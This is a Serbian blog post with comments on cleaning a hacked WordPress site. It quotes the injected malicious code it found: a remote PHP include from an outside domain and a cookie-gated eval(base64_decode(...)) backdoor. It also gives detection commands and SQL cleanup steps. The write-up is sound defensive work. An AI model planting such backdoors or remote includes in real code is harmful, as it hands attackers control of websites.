Igrom slučaja, održavam veliki broj WordPress instalacija. Tu spada standardni upgrade instalacija (koji je sada dosta olakšan automatskim osvežavanjem, od verzije 2.7), backup baze i fajlova, i sličnih sitnica 🙂
Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:
Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2
(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite 🙂 – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)
Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.
Analiza
Promena u fajlovima – sondiranje
Prvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.
Imao sam šta i da vidim:
index.php – umesto očekivanog:
/** Loads the WordPress Environment and Template */ require('./wp-blog-header.php');
dobio sam:
/** Loads the WordPress Environment and Template */ if (isset($_GET['license'])) { @include('http://wordpress.net.in/license.txt'); } else { require('./wp-blog-header.php'); }
Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao 😉
Zatim xmlrpc.php – umesto očekivanog:
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
upisano je:
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));
(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).
Promena u fajlovima – detaljna analiza
Kako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:
wp-content/plugins/events-calendar/ec_management.bak wp-content/plugins/exec-php/css/admin.old wp-content/plugins/exec-php/includes/option.old wp-content/plugins/exec-php/images/progress.old wp-content/plugins/wp-super-cache/wp-cache-base.old wp-content/plugins/wp-cache/README.old wp-content/uploads/2008/01/svinja_old.png wp-content/themes/classic/header_old.gif
Algoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.
Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.
Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:
find . -name *_new.php find . -name *_old.php find . -name *.old find . -name *.bak find . -name *.pngg find . -name *.jpgg find . -name *.giff grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' * grep -r -l -i 'if(md5' *
Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:
if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") { eval(base64_decode($_POST['file'])); exit; }
Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:
Čišćenje
Korak 1 – fajlovi
Umesto da brišem i proveravam fajl po fajl, lokalno sam:
- Raspakovao najnoviju verziju WordPress-a
- na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa
- sve teme ponovo skinuo i stavio ih u wp-content/themes
- Sa sajta: wp-config.php iz root foldera
- Sa sajta: izmenjene fajlove iz tema, pri tom poredeći svaki izmenjeni fajl sa originalnim, koristeći WinMerge
- Sa sajta: wp-content/uploads folder, propisno očišćen od čudnih, gore pomenutih fajlova
- Po uploadu čiste verzije sajta pobrinuo se da svi php fajlovi imaju 644 prava pristupa
No već sledeći dan je pokazao da ova akcija nije pomogla – ponovo su spam linkovi bili u RSS feedu, i ponovo su čudni fajlovi našli put do WordPress instalacije.
Sada mi nije preostalo ništa no da razumem ceo mehanizam kako su hackeri uopšte provalili u WordPress i kako “rupu” održavaju otvorenom.
Kako su svi fajlovi bili potpuno čisti, a hack je opet proradio, logično mesto napada je naravno, MySQL baza gde WordPress drži sve svoje podatke i podešavanja.
Korak 2 – baza podataka
Kada proveravam podatke, koristim uvek “direktni” pristup – nikako kroz sam WordPress admin panel. Prvo sam pregledao wp_users tabelu i imao sam šta i da vidim:
Korak 2.1 – strani administratorski nalozi
- Dodat je WordPress user, sa nultim vremenom kreiranja
- Dodat je jedan ili više usera, gde je username nastalo ili od mail adrese admina ili na admin nalepljeno još neko slovo. Karakteristično je vreme kreiranja – identično je vremenu kreiranja prvog admin naloga (praktično kopiranje sloga)
Naravno, svi novokreirani nalozi imaju administrativna prava (dalje ispitivanje je pokazalo da je WordPress imao gomile propusta u verzijama 2.2 – 2.7 koji su omogućavali ovakvo direktno kreiranje naloga).
Rešenje: obrisati sve te naloge.
Ovakvi nalozi daju napadajućem skriptu mogućnost da radi šta god bilo: da kreira fajlove, da menja podatke u bazi; pitanje je šta je stvarno od toga i urađeno.
Korak 2.2 – wp_options / active_plugins
Pokušao sam da u samoj bazi nađem referencu na neki od “čudnih” fajlova, ranije pronađenih; i našao sam ih: nalazili su se fino ušuškani u tabeli wp_options, pod sekcijom ‘active_plugins‘; ovo praktično znači da im je obezbeđeno automatsko učitavanje svaki put prilikom podizanja WordPressa.
Proveru možete izvršiti ili SQL upitom:
SELECT * FROM `wp_options` WHERE option_name = "active_plugins"
ili smeštanjem i izvšavanjem malog php programčeta koji će to uraditi za vas (daleko pregledniji a i ne zavisi od wordpress table prefix-a):
<?php require( './wp-load.php' ); if ( get_option('active_plugins') ) { $current_plugins = get_option('active_plugins'); if ( is_array($current_plugins) ) { foreach ($current_plugins as $plugin) { if ('' != $plugin ) { echo $plugin . '<br />'; } } } } if ( get_option('internal_links_cache') ) { $link = get_option('internal_links_cache'); if ('' != $link ) { echo '<hr>DELETE internal_links_cache option!<br />'; } }?>
Rešenje: ako ste locirali nedozvoljene ili neobične pozive vezane uz neke pluginove, najlakše ćete se osloboditi tih delova ako kroz WordPress admin panel deaktivirate taj plugin pa ga ponovo aktivirate.
A šta ovi fajlovi zaista rade? Ako malo analizirate (poprilično šifrovan) kod ovih fajlova, jedan od elemenata koje ćete videti je i:
SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'
i to se nalazilo u većini hack fajlova.
Vrednost ove opcije (isto iz tabele wp_options, ovoga puta za option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8‘) je ogromno parče base64 šifrovanog php koda (pre toga uradite strrev, ako želite da ga pravilno čitate) gde se nalazi pravi engine cele hack rutine – od “ispaljivanja” spam linkova pa sve do otvaranja i ispisivanja CELE BAZE korisniku koji zna da priđe sajtu kako treba – veoma destruktivan kod.
Ako pobliže zagledate gornji php kod za izlistavanje, videćete da pored izlistavanja pluginova, ovaj kod proverava i postojanje opcije ‘internal_links_cache’ – naime, neki od hack fajlova čitaju ovu opciju, rade base64_decode i sadržaj (a to su obično gomile i gomile spam linkova) ispaljuju u vaš RSS feed.
Rešenje: obrisati slogove iz wp_options tabele sa
option_name = ‘rss_f541b3abd05e7962fcab37737f40fad8’ i option_name = ‘internal_links_cache’:
DELETE FROM wp_options WHERE option_name = 'internal_links_cache' OR option_name = 'rss_f541b3abd05e7962fcab37737f40fad8';
Na kraju
Samo da sumiram; ako vam se u vašoj instalaciji WordPress-a učini bilo šta sumnjivo (javi se vaš antivirus program, korisnici primete čudan sadržaj u RSS feedu), onda:
- Uradite full backup i baze i fajlova
- Nađite nekog ko sme da se bakće sa samim sitnim crevcima WordPress-a
- Proverite prvo fajlove
- Proverite administratorske naloge
- Proverite opcije samog WordPressa koje omogućavaju da se useli neželjeni kod
Tek ovakve stvari pokazuju koliko je važno da održavate vaš WordPress “svežim” i da primenjujete zakrpe čim se pojave – inače, možete postati i ostati žrtva spamera a da toga niste ni svesni.
Не знам да ли га користиш, али додатак „Clean Options“ може бити од велике користи за чишћење смећа из таблице опција. И свакако, предузети све мере предострожности ради заштите блога на најосетљивијим местима.
Neko se baš potrudio i spremio nezvane goste, pa se samo čeka pogodna ulaznica…
Što se tiče mera, sve sam ispoštovao, sem 12. opcije, a i to ću 🙂
Za Clean Options znam, ali volim i ovako, ručno.
Da, i to svašta može da uradi – lista sadržaj baze, pojedine tabele, menja slogove … i sve to samo preko browsera.
>>Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2
Kako je onda nesto ovako uopste moguce? Upad na sam server ili nesto drugo?
Inace ja samo cekam kada cu ovako nesto videti na svom Blogu obzirom da nemam vremena da se petljam ovako detaljno kao ti, a ne mogu uopste da uradim update jer je gengo plugin nekompatibilan sa 2.8.2 (jedva sam ga naterao da radi i sa 2.8.1).
Upad u bazu je urađen u ranijim verzijama WordPress-a (2.2 – 2.7) a svaki sledeći upgrade prosto “ne dira” te delove baze.
I onda imaš lepo “osvežen” WordPress i bušan kao rešeto.
Da da, skapirao posle kad sam procitao ceo tekst 🙂
Elem, ja sam imao slican problem na DH-u sto je ubrzalo moju migraciju na MT. U mom slucaju su dodavali iframe-ove u base64 encodovanom java skriptu, a u slucaju blogotka su cak editovali smarty i promenili default modifier tako da je uvek na svaku stranu stavljao taj iframe pre svega ostalog. Srecom to je zeznulo layout na nekoliko strana pa sam brzo provalio (bukvalno par minuta nakon upada), pocistio sa par find -m/grep i aktivirao db backup. Posle se ispostavilo da je i kolegin account (isto na DH-u) prosao isto pa smo pomislili da je “rupa” do DH-a a ne WP-a 🙂
No sad kad vidim da je i Moo na MT-u (verovatno kod tebe) ovaj WP 2.8.1 na kome trchi dinke.net me jos vise nervira, ali sta da se radi, danas sam dosao sa odmora, tesko da cu stici da resim taj problem u istom danu kad moram da se izborim sa par hiljada mailova 🙂
🙂
Pusti samo gornji php (napravi fajl u blog root-u) i izlaz iz skripte će ti već reći da li ima nešto da te boli i koliko 🙂
Ček, jesi l’ utvrdio uzročnika, mislim da nisam pročitao?
Uzročnik je bušna wp-atom.php datoteka iz starijih verzija WordPress-a (2.2 – 2.7) kojom si, uz pažljivo formiran POST zahtev mogao svašta da radiš 🙂
Uuuhu…zlu ne trebalo. 😀
Čarolija, daleko bilo 😀
Ovo ne bih preporučio ni iskusnijima 🙂
mysql_escape_string je slicno kao Regex.Escape u dotNetu, skrojeno za snimanje stringa u MySQL rekord. Ne znam sta je RAW_POST_DATA ali je mozda neko uspeo da zloupotrebi prethodno ne-escapovan string.
Word press ocigledno ima vrlo gadne probleme, i pored toga sto si ispeglao (neke) probleme ko zna kakva dobra donosi naredna verzija. Mozda je najbolje samo se zadrzati na trenutnoj i rucno aplicirati bug fixeve :). Tako bi se upgrade u glavnom sastojao samo od par php fajlova.